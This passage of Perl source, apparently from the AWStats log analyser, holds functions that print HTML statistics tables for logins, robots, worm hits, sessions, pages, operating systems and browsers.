? XMLEncode("$AWScript${NewLinkParams}output=lastlogins")
: "$StaticLinks.lastlogins.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a>";
}
&tab_head( "$title", 19, 0, 'logins' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
. Format_Number(( scalar keys %_login_h )) . "</th>";
&HTMLShowUserInfo('__title__');
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print "<th bgcolor=\"#$color_p\" width=\"80\""
. Tooltip(3)
. ">$Message[56]</th>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print "<th bgcolor=\"#$color_h\" width=\"80\""
. Tooltip(4)
. ">$Message[57]</th>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print "<th bgcolor=\"#$color_k\" width=\"80\""
. Tooltip(5)
. ">$Message[75]</th>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = 0;
my $max_h = 1;
foreach ( values %_login_h ) {
if ( $_ > $max_h ) { $max_h = $_; }
}
my $max_k = 1;
foreach ( values %_login_k ) {
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
\%_login_p );
foreach my $key (@keylist) {
my $bredde_p = 0;
my $bredde_h = 0;
my $bredde_k = 0;
if ( $max_h > 0 ) {
$bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
} # use max_h to enable to compare pages with hits
if ( $max_h > 0 ) {
$bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
}
if ( $max_k > 0 ) {
$bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
}
print "<tr><td class=\"aws\">$key</td>";
&HTMLShowUserInfo($key);
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print "<td>"
. ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " )
. "</td>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print "<td>".Format_Number($_login_h{$key})."</td>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td>"
. (
$_login_l{$key}
? Format_Date( $_login_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$total_p += $_login_p{$key};
$total_h += $_login_h{$key};
$total_k += $_login_k{$key};
$count++;
}
my $rest_p = $TotalPages - $total_p;
my $rest_h = $TotalHits - $total_h;
my $rest_k = $TotalBytes - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
{ # All other logins
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. "$Message[125]"
. ( $PageDir eq 'rtl' ? "</span>" : "" )
. "</span></td>";
&HTMLShowUserInfo('');
if ( $ShowAuthenticatedUsers =~ /P/i ) {
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /H/i ) {
print "<td>".Format_Number($rest_h)."</td>";
}
if ( $ShowAuthenticatedUsers =~ /B/i ) {
print "<td>" . Format_Bytes($rest_k) . "</td>";
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the robots chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainRobots{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowRobotStats", 2 ); }
print "$Center<a name=\"robots\"> </a><br />\n";
my $title = "$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=allrobots")
: "$StaticLinks.allrobots.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=lastrobots")
: "$StaticLinks.lastrobots.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=ROBOT&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'robots');
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(16) . "><th>"
. Format_Number(( scalar keys %_robot_h ))
. " $Message[51]*</th>";
if ( $ShowRobotsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowRobotsStats =~ /B/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = my $total_r = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
\%_robot_h );
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
if ( $ShowRobotsStats =~ /H/i ) {
print "<td>"
. Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
}
if ( $ShowRobotsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<td>"
. (
$_robot_l{$key}
? Format_Date( $_robot_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
#$total_p += $_robot_p{$key};
$total_h += $_robot_h{$key};
$total_k += $_robot_k{$key} || 0;
$total_r += $_robot_r{$key} || 0;
$count++;
}
# For bots we need to count Totals
my $TotalPagesRobots =
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
my $TotalHitsRobots = 0;
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
my $TotalBytesRobots = 0;
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
my $TotalRRobots = 0;
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
my $rest_h = $TotalHitsRobots - $total_h;
my $rest_k = $TotalBytesRobots - $total_k;
my $rest_r = $TotalRRobots - $total_r;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
{ # All other robots
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowRobotsStats =~ /H/i ) {
print "<td>"
. Format_Number(( $rest_h - $rest_r ))
. ( $rest_r ? "+$rest_r" : "" ) . "</td>";
}
if ( $ShowRobotsStats =~ /B/i ) {
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
}
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end(
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
}
#------------------------------------------------------------------------------
# Function: Prints the worms chart and table
# Parameters: -
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainWorms{
if ($Debug) { debug( "ShowWormsStats", 2 ); }
print "$Center<a name=\"worms\"> </a><br />\n";
&tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
19, 0, 'worms' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>";
print "<th>$Message[167]</th>";
if ( $ShowWormsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowWormsStats =~ /B/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowWormsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
my $total_p = my $total_h = my $total_k = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
\%_worm_h );
foreach my $key (@keylist) {
print "<tr>";
print "<td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
print "<td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
. ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
if ( $ShowWormsStats =~ /H/i ) {
print "<td>" . Format_Number($_worm_h{$key}) . "</td>";
}
if ( $ShowWormsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
}
if ( $ShowWormsStats =~ /L/i ) {
print "<td>"
. (
$_worm_l{$key}
? Format_Date( $_worm_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
#$total_p += $_worm_p{$key};
$total_h += $_worm_h{$key};
$total_k += $_worm_k{$key} || 0;
$count++;
}
# For worms we need to count Totals
my $TotalPagesWorms =
0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
my $TotalHitsWorms = 0;
foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
my $TotalBytesWorms = 0;
foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
my $rest_h = $TotalHitsWorms - $total_h;
my $rest_k = $TotalBytesWorms - $total_k;
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
print "<tr>";
print
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td class=\"aws\">-</td>";
if ( $ShowWormsStats =~ /H/i ) {
print "<td>" . Format_Number(($rest_h)) . "</td>";
}
if ( $ShowWormsStats =~ /B/i ) {
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
}
if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end("* $Message[158]");
}
#------------------------------------------------------------------------------
# Function: Prints the sessions chart and table
# Parameters: -
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainSessions{
if ($Debug) { debug( "ShowSessionsStats", 2 ); }
print "$Center<a name=\"sessions\"> </a><br />\n";
my $title = "$Message[117]";
&tab_head( $title, 19, 0, 'sessions' );
my $Totals = 0;
my $average_s = 0;
foreach (@SessionsRange) {
$average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
$Totals += $_session{$_} || 0;
}
if ($Totals) { $average_s = int( $average_s / $Totals ); }
else { $average_s = '?'; }
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(1)
. "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
$average_s = 0;
my $total_s = 0;
my $count = 0;
foreach my $key (@SessionsRange) {
my $p = 0;
if ($TotalVisits) {
$p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
}
$total_s += $_session{$key} || 0;
print "<tr><td class=\"aws\">$key</td>";
print "<td>"
. ( $_session{$key} ? Format_Number($_session{$key}) : " " ) . "</td>";
print "<td>"
. ( $_session{$key} ? "$p %" : " " ) . "</td>";
print "</tr>\n";
$count++;
}
my $rest_s = $TotalVisits - $total_s;
if ( $rest_s > 0 ) { # All others sessions
my $p = 0;
if ($TotalVisits) {
$p = int( $rest_s / $TotalVisits * 1000 ) / 10;
}
print "<tr"
. Tooltip(20)
. "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
print "<td>".Format_Number($rest_s)."</td>";
print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>";
print "</tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the pages chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainPages{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) {
debug(
"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
2
);
}
my $regext = qr/\.(\w{1,6})$/;
print
"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n";
my $title =
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=urldetail")
: "$StaticLinks.urldetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowPagesStats =~ /E/i ) {
$title .= " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=urlentry")
: "$StaticLinks.urlentry.$StaticExt"
)
. "\"$NewLinkTarget>$Message[104]</a>";
}
if ( $ShowPagesStats =~ /X/i ) {
$title .= " - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
: "$StaticLinks.urlexit.$StaticExt"
)
. "\"$NewLinkTarget>$Message[116]</a>";
}
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=SIDER&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'urls' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>";
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
}
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowPagesStats =~ /B/i ) {
print
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
if ( $ShowPagesStats =~ /E/i ) {
print
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
}
if ( $ShowPagesStats =~ /X/i ) {
print
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
}
# Call to plugins' function ShowPagesAddField
foreach
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('title')";
# eval("$function");
my $function = "ShowPagesAddField_$pluginname";
&$function('title');
}
print "<th> </th></tr>\n";
my $total_p = my $total_e = my $total_x = my $total_k = 0;
my $max_p = 1;
my $max_k = 1;
my $count = 0;
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
\%_url_p );
foreach my $key (@keylist) {
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
}
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">";
&HTMLShowURLInfo($key);
print "</td>";
my $bredde_p = 0;
my $bredde_e = 0;
my $bredde_x = 0;
my $bredde_k = 0;
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
if ( $max_p > 0 ) {
$bredde_e =
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
if ( $max_p > 0 ) {
$bredde_x =
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth *
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
$max_k ) + 1;
}
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
print "<td>".Format_Number($_url_p{$key})."</td>";
}
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
print "<td>".Format_Number($_url_p{$key})."</td>";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
$_url_k{$key}
? Format_Bytes(
$_url_k{$key} / ( $_url_p{$key} || 1 )
)
: " "
)
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
print "<td>"
. ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>";
}
if ( $ShowPagesStats =~ /X/i ) {
print "<td>"
. ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('$key')";
# eval("$function");
my $function = "ShowPagesAddField_$pluginname";
&$function($key);
}
print "<td class=\"aws\">";
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
. AltTitle("")
. " /><br />";
}
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
. AltTitle("")
. " /><br />";
}
if ( $ShowPagesStats =~ /B/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
. AltTitle("")
. " /><br />";
}
if ( $ShowPagesStats =~ /E/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
. AltTitle("")
. " /><br />";
}
if ( $ShowPagesStats =~ /X/i ) {
print
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
. AltTitle("") . " />";
}
print "</td></tr>\n";
$total_p += $_url_p{$key} || 0;
$total_e += $_url_e{$key} || 0;
$total_x += $_url_x{$key} || 0;
$total_k += $_url_k{$key} || 0;
$count++;
}
my $rest_p = $TotalPages - $total_p;
my $rest_e = $TotalEntries - $total_e;
my $rest_x = $TotalExits - $total_x;
my $rest_k = $TotalBytesPages - $total_k;
if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
{ # All other urls
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
print "<td>".Format_Number($rest_p)."</td>";
}
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
print "<td>".Format_Number($rest_p)."</td>";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
$rest_k
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
: " "
)
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>";
}
if ( $ShowPagesStats =~ /X/i ) {
print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('')";
# eval("$function");
my $function = "ShowPagesAddField_$pluginname";
&$function('');
}
print "<td> </td></tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the OS chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainOS{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowOSStats", 2 ); }
print "$Center<a name=\"os\"> </a><br />\n";
my $Totalh = 0;
my $Totalp = 0;
my %new_os_h = ();
my %new_os_p = ();
OSLOOP: foreach my $key ( keys %_os_h ) {
$Totalh += $_os_h{$key};
$Totalp += $_os_p{$key};
foreach my $family ( keys %OSFamily ) {
if ( $key =~ /^$family/i ) {
$new_os_h{"${family}cumul"} += $_os_h{$key};
$new_os_p{"${family}cumul"} += $_os_p{$key};
next OSLOOP;
}
}
$new_os_h{$key} += $_os_h{$key};
$new_os_p{$key} += $_os_p{$key};
}
my $title =
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=osdetail")
: "$StaticLinks.osdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=unknownos")
: "$StaticLinks.unknownos.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=OS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'os' );
&BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
\%new_os_p );
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
if ($key eq 'Unknown'){push @blocklabel, "$key"; }
else{
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libos = $OSHashLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $keywithoutcumul;
$nameicon =~ s/[^\w]//g;
if ( $OSFamily{$keywithoutcumul} ) {
$libos = $OSFamily{$keywithoutcumul};
}
push @blocklabel, "$libos";
}
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"5\">";
my $function = "ShowGraph_$pluginname";
&$function(
"Top 5 Operating Systems", "oss",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th>";
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
my $total_h = 0;
my $total_p = 0;
my $count = 0;
foreach my $key (@keylist) {
my $p_h = ' ';
my $p_p = ' ';
if ($Totalh) {
$p_h = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
$p_h = "$p_h %";
}
if ($Totalp) {
$p_p = int( $new_os_p{$key} / $Totalp * 1000 ) / 10;
$p_p = "$p_p %";
}
if ( $key eq 'Unknown' ) {
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/os\/unknown.png\""
. AltTitle("")
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"
. "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($_os_h{$key})."</td><td>$p_h</td></tr>\n";
}
else {
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libos = $OSHashLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $keywithoutcumul;
$nameicon =~ s/[^\w]//g;
if ( $OSFamily{$keywithoutcumul} ) {
$libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
}
print "<tr><td"
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
. AltTitle("")
. " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_os_h{$key})."</td><td>$p_h</td></tr>\n";
}
$total_h += $new_os_h{$key};
$total_p += $new_os_p{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $Totalh / $total_h", 2 );
}
my $rest_h = $Totalh - $total_h;
my $rest_p = $Totalp - $total_p;
if ( $rest_h > 0 ) {
my $p_p;
my $p_h;
if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; }
if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; }
print "<tr>";
print "<td> </td>";
print
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_p)."</td>";
print "<td>$p_p %</td><td>".Format_Number($rest_h)."</td><td>$p_h %</td></tr>\n";
}
&tab_end();
}
#------------------------------------------------------------------------------
# Function: Prints the Browsers chart and table
# Parameters: $NewLinkParams, $NewLinkTarget
# Input: -
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLMainBrowsers{
my $NewLinkParams = shift;
my $NewLinkTarget = shift;
if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
print "$Center<a name=\"browsers\"> </a><br />\n";
my $Totalh = 0;
my $Totalp = 0;
my %new_browser_h = ();
my %new_browser_p = ();
BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
$Totalh += $_browser_h{$key};
$Totalp += $_browser_p{$key};
foreach my $family ( keys %BrowsersFamily ) {
if ( $key =~ /^$family/i ) {
$new_browser_h{"${family}cumul"} += $_browser_h{$key};
$new_browser_p{"${family}cumul"} += $_browser_p{$key};
next BROWSERLOOP;
}
}
$new_browser_h{$key} += $_browser_h{$key};
$new_browser_p{$key} += $_browser_p{$key};
}
my $title =
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=browserdetail")
: "$StaticLinks.browserdetail.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
. (
$ENV{'GATEWAY_INTERFACE'}
|| !$StaticLinks
? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser")
: "$StaticLinks.unknownbrowser.$StaticExt"
)
. "\"$NewLinkTarget>$Message[0]</a>";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title .= " - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=BROWSER&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'browsers' );
&BuildKeyList(
$MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
\%new_browser_h, \%new_browser_p
);
# Graph the top five in a pie chart
if (scalar @keylist > 1){
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
{
my @blocklabel = ();
my @valdata = ();
my @valcolor = ($color_p);
my $cnt = 0;
foreach my $key (@keylist) {
push @valdata, int( $new_browser_h{$key} / $TotalHits * 1000 ) / 10;
if ($key eq 'Unknown'){push @blocklabel, "$key"; }
else{
my $keywithoutcumul = $key;
$keywithoutcumul =~ s/cumul$//i;
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
|| $keywithoutcumul;
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
|| "notavailable";
if ( $BrowsersFamily{$keywithoutcumul} ) {
$libbrowser = "$libbrowser";
}
push @blocklabel, "$libbrowser";
}
$cnt++;
if ($cnt > 4) { last; }
}
print "<tr><td colspan=\"5\">";
my $function = "ShowGraph_$pluginname";
&$function(
"Top 5 Browsers", "browsers",
0, \@blocklabel,
0, \@valcolor,
0, 0,
0, \@valdata
);
print "</td></tr>";
}
}
print
